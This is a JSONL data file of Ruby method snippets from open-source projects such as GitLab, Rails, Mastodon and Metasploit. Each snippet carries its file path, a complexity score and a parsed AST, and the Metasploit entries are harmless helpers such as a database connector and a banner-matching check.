{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/mailers/previews/devise_mailer_preview.rb","start_line":30,"raw_source":"def password_change\n    DeviseMailer.password_change(unsaved_user, {})\n  end","complexity_score":2.2,"ast_json":"{\"type\":\"def\",\"children\":[\"password_change\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"DeviseMailer\"]},\"password_change\",{\"type\":\"send\",\"children\":[null,\"unsaved_user\"]},{\"type\":\"hash\",\"children\":[]}]}]}","id":"dc12b9bd-922b-4e6b-80b6-2fbf65bfc6cc"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/graphql/mutations/incident_management/timeline_event/create.rb","start_line":25,"raw_source":"def resolve(incident_id:, **args)\n          incident = authorized_find!(id: incident_id)\n\n          authorize!(incident)\n\n          response ::IncidentManagement::TimelineEvents::CreateService.new(\n            incident, current_user, args.merge(editable: true)\n          ).execute\n        end","complexity_score":9.8,"ast_json":"{\"type\":\"def\",\"children\":[\"resolve\",{\"type\":\"args\",\"children\":[{\"type\":\"kwarg\",\"children\":[\"incident_id\"]},{\"type\":\"kwrestarg\",\"children\":[\"args\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"incident\",{\"type\":\"send\",\"children\":[null,\"authorized_find!\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"id\"]},{\"type\":\"lvar\",\"children\":[\"incident_id\"]}]}]}]}]},{\"type\":\"send\",\"children\":[null,\"authorize!\",{\"type\":\"lvar\",\"children\":[\"incident\"]}]},{\"type\":\"send\",\"children\":[null,\"response\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"cbase\",\"children\":[]},\"IncidentManagement\"]},\"TimelineEvents\"]},\"CreateService\"]},\"new\",{\"type\":\"lvar\",\"children\":[\"incident\"]},{\"type\":\"send\",\"children\":[null,\"current_user\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"args\"]},\"merge\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"editable\"]},{\"type\":\"true\",\"children\":[]}]}]}]}]},\"execute\"]}]}]}]}","id":"49b27e27-293c-4fde-b9ae-b5a716834a7b"}
{"repo_name":"hanami","file_path":"./repos/hanami/lib/hanami/web/rack_logger.rb","start_line":65,"raw_source":"def call(logger)\n            return logger if compatible_logger?(logger)\n\n            new(logger)\n          end","complexity_score":3.0,"ast_json":"{\"type\":\"def\",\"children\":[\"call\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"logger\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[null,\"compatible_logger?\",{\"type\":\"lvar\",\"children\":[\"logger\"]}]},{\"type\":\"return\",\"children\":[{\"type\":\"lvar\",\"children\":[\"logger\"]}]},null]},{\"type\":\"send\",\"children\":[null,\"new\",{\"type\":\"lvar\",\"children\":[\"logger\"]}]}]}]}","id":"5e0e75ff-04fe-47b0-87d3-ccb0e5d5df25"}
{"repo_name":"fluentd","file_path":"./repos/fluentd/test/test_log.rb","start_line":360,"raw_source":"def test_different_log_level\n      backtrace = [\"line 1\", \"line 2\", \"line 3\"]\n      dl_opts = {}\n      dl_opts[:log_level] = ServerEngine::DaemonLogger::TRACE\n      logdev = @log_device\n      logger = ServerEngine::DaemonLogger.new(logdev, dl_opts)\n      opts = {}\n      opts[:suppress_repeated_stacktrace] = true\n      log = Fluent::Log.new(logger, opts)\n      log.trace_backtrace(backtrace)\n      log.debug_backtrace(backtrace)\n      log.info_backtrace(backtrace)\n      log.warn_backtrace(backtrace)\n      log.error_backtrace(backtrace)\n      log.fatal_backtrace(backtrace)\n      expected = [\n        \"  #{@timestamp_str} [trace]: line 1\\n\",\n        \"  #{@timestamp_str} [trace]: line 2\\n\",\n        \"  #{@timestamp_str} [trace]: line 3\\n\",\n        \"  #{@timestamp_str} [debug]: suppressed same stacktrace\\n\",\n        \"  #{@timestamp_str} [info]: suppressed same stacktrace\\n\",\n        \"  #{@timestamp_str} [warn]: suppressed same stacktrace\\n\",\n        \"  #{@timestamp_str} [error]: suppressed same stacktrace\\n\",\n        \"  #{@timestamp_str} [fatal]: suppressed same stacktrace\\n\",\n      ]\n      assert_equal(expected, log.out.logs)\n    end","complexity_score":20.6,"ast_json":"{\"type\":\"def\",\"children\":[\"test_different_log_level\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"backtrace\",{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"line 1\"]},{\"type\":\"str\",\"children\":[\"line 2\"]},{\"type\":\"str\",\"children\":[\"line 3\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"dl_opts\",{\"type\":\"hash\",\"children\":[]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"dl_opts\"]},\"[]=\",{\"type\":\"sym\",\"children\":[\"log_level\"]},{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ServerEngine\"]},\"DaemonLogger\"]},\"TRACE\"]}]},{\"type\":\"lvasgn\",\"children\":[\"logdev\",{\"type\":\"ivar\",\"children\":[\"@log_device\"]}]},{\"type\":\"lvasgn\",\"children\":[\"logger\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ServerEngine\"]},\"DaemonLogger\"]},\"new\",{\"type\":\"lvar\",\"children\":[\"logdev\"]},{\"type\":\"lvar\",\"children\":[\"dl_opts\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"opts\",{\"type\":\"hash\",\"children\":[]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"opts\"]},\"[]=\",{\"type\":\"sym\",\"children\":[\"suppress_repeated_stacktrace\"]},{\"type\":\"true\",\"children\":[]}]},{\"type\":\"lvasgn\",\"children\":[\"log\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Fluent\"]},\"Log\"]},\"new\",{\"type\":\"lvar\",\"children\":[\"logger\"]},{\"type\":\"lvar\",\"children\":[\"opts\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"log\"]},\"trace_backtrace\",{\"type\":\"lvar\",\"children\":[\"backtrace\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"log\"]},\"debug_backtrace\",{\"type\":\"lvar\",\"children\":[\"backtrace\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"log\"]},\"info_backtrace\",{\"type\":\"lvar\",\"children\":[\"backtrace\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"log\"]},\"warn_backtrace\",{\"type\":\"lvar\",\"children\":[\"backtrace\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"log\"]},\"error_backtrace\",{\"type\":\"lvar\",\"children\":[\"backtrace\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"log\"]},\"fatal_backtrace\",{\"type\":\"lvar\",\"children\":[\"backtrace\"]}]},{\"type\":\"lvasgn\",\"children\":[\"expected\",{\"type\":\"array\",\"children\":[{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"  \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@timestamp_str\"]}]},{\"type\":\"str\",\"children\":[\" [trace]: line 1\\n\"]}]},{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"  \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@timestamp_str\"]}]},{\"type\":\"str\",\"children\":[\" [trace]: line 2\\n\"]}]},{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"  \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@timestamp_str\"]}]},{\"type\":\"str\",\"children\":[\" [trace]: line 3\\n\"]}]},{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"  \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@timestamp_str\"]}]},{\"type\":\"str\",\"children\":[\" [debug]: suppressed same stacktrace\\n\"]}]},{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"  \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@timestamp_str\"]}]},{\"type\":\"str\",\"children\":[\" [info]: suppressed same stacktrace\\n\"]}]},{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"  \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@timestamp_str\"]}]},{\"type\":\"str\",\"children\":[\" [warn]: suppressed same stacktrace\\n\"]}]},{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"  \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@timestamp_str\"]}]},{\"type\":\"str\",\"children\":[\" [error]: suppressed same stacktrace\\n\"]}]},{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"  \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@timestamp_str\"]}]},{\"type\":\"str\",\"children\":[\" [fatal]: suppressed same stacktrace\\n\"]}]}]}]},{\"type\":\"send\",\"children\":[null,\"assert_equal\",{\"type\":\"lvar\",\"children\":[\"expected\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"log\"]},\"out\"]},\"logs\"]}]}]}]}","id":"cdcf1cd8-00f2-4de5-a16a-fd62f9a3f3da"}
{"repo_name":"chatwoot","file_path":"./repos/chatwoot/enterprise/app/models/channel/voice.rb","start_line":62,"raw_source":"def validate_provider_config\n    return if provider_config.blank?\n\n    case provider\n    when 'twilio'\n      validate_twilio_config\n    end\n  end","complexity_score":7.5,"ast_json":"{\"type\":\"def\",\"children\":[\"validate_provider_config\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"provider_config\"]},\"blank?\"]},{\"type\":\"return\",\"children\":[]},null]},{\"type\":\"case\",\"children\":[{\"type\":\"send\",\"children\":[null,\"provider\"]},{\"type\":\"when\",\"children\":[{\"type\":\"str\",\"children\":[\"twilio\"]},{\"type\":\"send\",\"children\":[null,\"validate_twilio_config\"]}]},null]}]}]}","id":"77df9bcf-df80-4fa2-b089-1314f11911d1"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/lib/msf/core/db_connector.rb","start_line":60,"raw_source":"def self.db_connect(framework, opts = {})\n    unless framework.db.driver\n      return { error: 'No database driver installed.'}\n    end\n\n    if !opts[:url] && !opts[:yaml_file]\n      return { error: 'A URL or saved data service name is required.' }\n    end\n\n    if opts[:url] =~ /http/\n      new_conn_type = 'http'\n    else\n      new_conn_type = framework.db.driver\n    end\n\n    # Currently only able to be connected to one DB at a time\n    if framework.db.connection_established?\n      # But the http connection still requires a local database to support AR, so we have to allow that\n      # Don't allow more than one HTTP service, though\n      if new_conn_type != 'http' || framework.db.get_services_metadata.count >= 2\n        return {\n          error: 'Connection already established. Only one connection is allowed at a time. Run db_disconnect first if you wish to connect to a different data service.'\n        }\n      end\n    end\n\n    if opts[:yaml_file]\n      db_connect_yaml(framework, opts)\n    elsif new_conn_type == 'http'\n      db_connect_http(framework, as_connection_options(opts))\n    elsif new_conn_type == 'postgresql'\n      db_connect_postgresql(framework, as_connection_options(opts))\n    else\n      {\n        error: \"This database driver #{new_conn_type} is not currently supported\"\n      }\n    end\n  end","complexity_score":43.65,"ast_json":"{\"type\":\"defs\",\"children\":[{\"type\":\"self\",\"children\":[]},\"db_connect\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"framework\"]},{\"type\":\"optarg\",\"children\":[\"opts\",{\"type\":\"hash\",\"children\":[]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"framework\"]},\"db\"]},\"driver\"]},null,{\"type\":\"return\",\"children\":[{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"error\"]},{\"type\":\"str\",\"children\":[\"No database driver installed.\"]}]}]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"and\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"opts\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"url\"]}]},\"!\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"opts\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"yaml_file\"]}]},\"!\"]}]},{\"type\":\"return\",\"children\":[{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"error\"]},{\"type\":\"str\",\"children\":[\"A URL or saved data service name is required.\"]}]}]}]},null]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"opts\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"url\"]}]},\"=~\",{\"type\":\"regexp\",\"children\":[{\"type\":\"str\",\"children\":[\"http\"]},{\"type\":\"regopt\",\"children\":[]}]}]},{\"type\":\"lvasgn\",\"children\":[\"new_conn_type\",{\"type\":\"str\",\"children\":[\"http\"]}]},{\"type\":\"lvasgn\",\"children\":[\"new_conn_type\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"framework\"]},\"db\"]},\"driver\"]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"framework\"]},\"db\"]},\"connection_established?\"]},{\"type\":\"if\",\"children\":[{\"type\":\"or\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"new_conn_type\"]},\"!=\",{\"type\":\"str\",\"children\":[\"http\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"framework\"]},\"db\"]},\"get_services_metadata\"]},\"count\"]},\">=\",{\"type\":\"int\",\"children\":[2]}]}]},{\"type\":\"return\",\"children\":[{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"error\"]},{\"type\":\"str\",\"children\":[\"Connection already established. Only one connection is allowed at a time. Run db_disconnect first if you wish to connect to a different data service.\"]}]}]}]},null]},null]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"opts\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"yaml_file\"]}]},{\"type\":\"send\",\"children\":[null,\"db_connect_yaml\",{\"type\":\"lvar\",\"children\":[\"framework\"]},{\"type\":\"lvar\",\"children\":[\"opts\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"new_conn_type\"]},\"==\",{\"type\":\"str\",\"children\":[\"http\"]}]},{\"type\":\"send\",\"children\":[null,\"db_connect_http\",{\"type\":\"lvar\",\"children\":[\"framework\"]},{\"type\":\"send\",\"children\":[null,\"as_connection_options\",{\"type\":\"lvar\",\"children\":[\"opts\"]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"new_conn_type\"]},\"==\",{\"type\":\"str\",\"children\":[\"postgresql\"]}]},{\"type\":\"send\",\"children\":[null,\"db_connect_postgresql\",{\"type\":\"lvar\",\"children\":[\"framework\"]},{\"type\":\"send\",\"children\":[null,\"as_connection_options\",{\"type\":\"lvar\",\"children\":[\"opts\"]}]}]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"error\"]},{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"This database driver \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"new_conn_type\"]}]},{\"type\":\"str\",\"children\":[\" is not currently supported\"]}]}]}]}]}]}]}]}]}","id":"69c05f2d-6614-4b43-bf2a-3fc3ce97f56c"}
{"repo_name":"mastodon","file_path":"./repos/mastodon/app/helpers/json_ld_helper.rb","start_line":266,"raw_source":"def load_jsonld_context(url, _options = {}, &block)\n    json = Rails.cache.fetch(\"jsonld:context:#{url}\", expires_in: 30.days, raw: true) do\n      request = Request.new(:get, url)\n      request.add_headers('Accept' => 'application/ld+json')\n      request.perform do |res|\n        raise JSON::LD::JsonLdError::LoadingDocumentFailed unless res.code == 200 && res.mime_type == 'application/ld+json'\n\n        res.body_with_limit\n      end\n    end\n\n    doc = JSON::LD::API::RemoteDocument.new(json, documentUrl: url)\n\n    block ? yield(doc) : doc\n  end","complexity_score":29.38,"ast_json":"{\"type\":\"def\",\"children\":[\"load_jsonld_context\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"url\"]},{\"type\":\"optarg\",\"children\":[\"_options\",{\"type\":\"hash\",\"children\":[]}]},{\"type\":\"blockarg\",\"children\":[\"block\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"json\",{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Rails\"]},\"cache\"]},\"fetch\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"jsonld:context:\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"url\"]}]}]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"expires_in\"]},{\"type\":\"send\",\"children\":[{\"type\":\"int\",\"children\":[30]},\"days\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"raw\"]},{\"type\":\"true\",\"children\":[]}]}]}]},{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"request\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Request\"]},\"new\",{\"type\":\"sym\",\"children\":[\"get\"]},{\"type\":\"lvar\",\"children\":[\"url\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"request\"]},\"add_headers\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Accept\"]},{\"type\":\"str\",\"children\":[\"application/ld+json\"]}]}]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"request\"]},\"perform\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"res\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"and\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"res\"]},\"code\"]},\"==\",{\"type\":\"int\",\"children\":[200]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"res\"]},\"mime_type\"]},\"==\",{\"type\":\"str\",\"children\":[\"application/ld+json\"]}]}]},null,{\"type\":\"send\",\"children\":[null,\"raise\",{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"JSON\"]},\"LD\"]},\"JsonLdError\"]},\"LoadingDocumentFailed\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"res\"]},\"body_with_limit\"]}]}]}]}]}]},{\"type\":\"lvasgn\",\"children\":[\"doc\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"JSON\"]},\"LD\"]},\"API\"]},\"RemoteDocument\"]},\"new\",{\"type\":\"lvar\",\"children\":[\"json\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"documentUrl\"]},{\"type\":\"lvar\",\"children\":[\"url\"]}]}]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"lvar\",\"children\":[\"block\"]},{\"type\":\"yield\",\"children\":[{\"type\":\"lvar\",\"children\":[\"doc\"]}]},{\"type\":\"lvar\",\"children\":[\"doc\"]}]}]}]}","id":"8c66e585-2787-48b9-8f04-0cabb5e5dfec"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/lib/gitlab/auth/auth_finders.rb","start_line":441,"raw_source":"def valid_web_access_format?(request_format)\n        case request_format\n        when :rss\n          rss_request?\n        when :ics\n          ics_request?\n        when :api\n          api_request?\n        when :archive\n          archive_request?\n        when :download\n          download_request?\n        end\n      end","complexity_score":12.5,"ast_json":"{\"type\":\"def\",\"children\":[\"valid_web_access_format?\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"request_format\"]}]},{\"type\":\"case\",\"children\":[{\"type\":\"lvar\",\"children\":[\"request_format\"]},{\"type\":\"when\",\"children\":[{\"type\":\"sym\",\"children\":[\"rss\"]},{\"type\":\"send\",\"children\":[null,\"rss_request?\"]}]},{\"type\":\"when\",\"children\":[{\"type\":\"sym\",\"children\":[\"ics\"]},{\"type\":\"send\",\"children\":[null,\"ics_request?\"]}]},{\"type\":\"when\",\"children\":[{\"type\":\"sym\",\"children\":[\"api\"]},{\"type\":\"send\",\"children\":[null,\"api_request?\"]}]},{\"type\":\"when\",\"children\":[{\"type\":\"sym\",\"children\":[\"archive\"]},{\"type\":\"send\",\"children\":[null,\"archive_request?\"]}]},{\"type\":\"when\",\"children\":[{\"type\":\"sym\",\"children\":[\"download\"]},{\"type\":\"send\",\"children\":[null,\"download_request?\"]}]},null]}]}","id":"c966645d-6e0a-4db5-8a06-a67a4593c7dc"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/lib/msf/core/exploit/remote/http/kubernetes/client.rb","start_line":189,"raw_source":"def get_namespace(namespace, options = {})\n              _res, json = call_api(\n                {\n                  'method' => 'GET',\n                  'uri' => http_client.normalize_uri(\"/api/v1/namespaces/#{namespace}\")\n                },\n                options\n              )\n\n              json\n            end","complexity_score":7.6,"ast_json":"{\"type\":\"def\",\"children\":[\"get_namespace\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"namespace\"]},{\"type\":\"optarg\",\"children\":[\"options\",{\"type\":\"hash\",\"children\":[]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"masgn\",\"children\":[{\"type\":\"mlhs\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"_res\"]},{\"type\":\"lvasgn\",\"children\":[\"json\"]}]},{\"type\":\"send\",\"children\":[null,\"call_api\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"method\"]},{\"type\":\"str\",\"children\":[\"GET\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"uri\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"http_client\"]},\"normalize_uri\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"/api/v1/namespaces/\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"namespace\"]}]}]}]}]}]},{\"type\":\"lvar\",\"children\":[\"options\"]}]}]},{\"type\":\"lvar\",\"children\":[\"json\"]}]}]}","id":"a2d6ac1c-d965-4f2a-9f69-6f6be5b7d0ae"}
{"repo_name":"discourse","file_path":"./repos/discourse/lib/onebox/engine/discourse_topic_onebox.rb","start_line":54,"raw_source":"def render_category_block?\n        render_tags? || categories.present?\n      end","complexity_score":4.5,"ast_json":"{\"type\":\"def\",\"children\":[\"render_category_block?\",{\"type\":\"args\",\"children\":[]},{\"type\":\"or\",\"children\":[{\"type\":\"send\",\"children\":[null,\"render_tags?\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"categories\"]},\"present?\"]}]}]}","id":"a8167f3a-6012-4ce3-b2ac-616618ec6675"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/lib/gitlab/sidekiq_config.rb","start_line":194,"raw_source":"def worker_from_path(path, root)\n        ns = Pathname.new(path).relative_path_from(root).to_s.gsub('.rb', '')\n\n        ns.camelize.constantize\n      end","complexity_score":8.4,"ast_json":"{\"type\":\"def\",\"children\":[\"worker_from_path\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"path\"]},{\"type\":\"arg\",\"children\":[\"root\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"ns\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Pathname\"]},\"new\",{\"type\":\"lvar\",\"children\":[\"path\"]}]},\"relative_path_from\",{\"type\":\"lvar\",\"children\":[\"root\"]}]},\"to_s\"]},\"gsub\",{\"type\":\"str\",\"children\":[\".rb\"]},{\"type\":\"str\",\"children\":[\"\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"ns\"]},\"camelize\"]},\"constantize\"]}]}]}","id":"6f2b404a-fec8-4382-8df5-efb75fed1afa"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/controllers/admin/topics_controller.rb","start_line":18,"raw_source":"def new\n    @topic = Projects::Topic.new\n  end","complexity_score":2.0,"ast_json":"{\"type\":\"def\",\"children\":[\"new\",{\"type\":\"args\",\"children\":[]},{\"type\":\"ivasgn\",\"children\":[\"@topic\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Projects\"]},\"Topic\"]},\"new\"]}]}]}","id":"eeb622b6-e4f0-4f87-90a1-0e85696ff71c"}
{"repo_name":"rails","file_path":"./repos/rails/activerecord/lib/active_record/database_configurations.rb","start_line":297,"raw_source":"def environment_url_config(env, name, config)\n        url = environment_value_for(name)\n        return unless url\n\n        UrlConfig.new(env, name, url, config)\n      end","complexity_score":4.0,"ast_json":"{\"type\":\"def\",\"children\":[\"environment_url_config\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"env\"]},{\"type\":\"arg\",\"children\":[\"name\"]},{\"type\":\"arg\",\"children\":[\"config\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"url\",{\"type\":\"send\",\"children\":[null,\"environment_value_for\",{\"type\":\"lvar\",\"children\":[\"name\"]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"lvar\",\"children\":[\"url\"]},null,{\"type\":\"return\",\"children\":[]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"UrlConfig\"]},\"new\",{\"type\":\"lvar\",\"children\":[\"env\"]},{\"type\":\"lvar\",\"children\":[\"name\"]},{\"type\":\"lvar\",\"children\":[\"url\"]},{\"type\":\"lvar\",\"children\":[\"config\"]}]}]}]}","id":"8d1be512-811a-4f6a-ab4d-54ffa03a2816"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/modules/exploits/windows/ftp/xlink_server.rb","start_line":56,"raw_source":"def check\n    connect\n    disconnect\n\n    if (banner =~ /XLINK FTP Server/)\n      return Exploit::CheckCode::Detected\n    end\n\n    return Exploit::CheckCode::Safe\n  end","complexity_score":4.0,"ast_json":"{\"type\":\"def\",\"children\":[\"check\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"connect\"]},{\"type\":\"send\",\"children\":[null,\"disconnect\"]},{\"type\":\"if\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"banner\"]},\"=~\",{\"type\":\"regexp\",\"children\":[{\"type\":\"str\",\"children\":[\"XLINK FTP Server\"]},{\"type\":\"regopt\",\"children\":[]}]}]}]},{\"type\":\"return\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Exploit\"]},\"CheckCode\"]},\"Detected\"]}]},null]},{\"type\":\"return\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Exploit\"]},\"CheckCode\"]},\"Safe\"]}]}]}]}","id":"016d3b8a-b6fb-4e4a-a3ea-0513aadf8e21"}
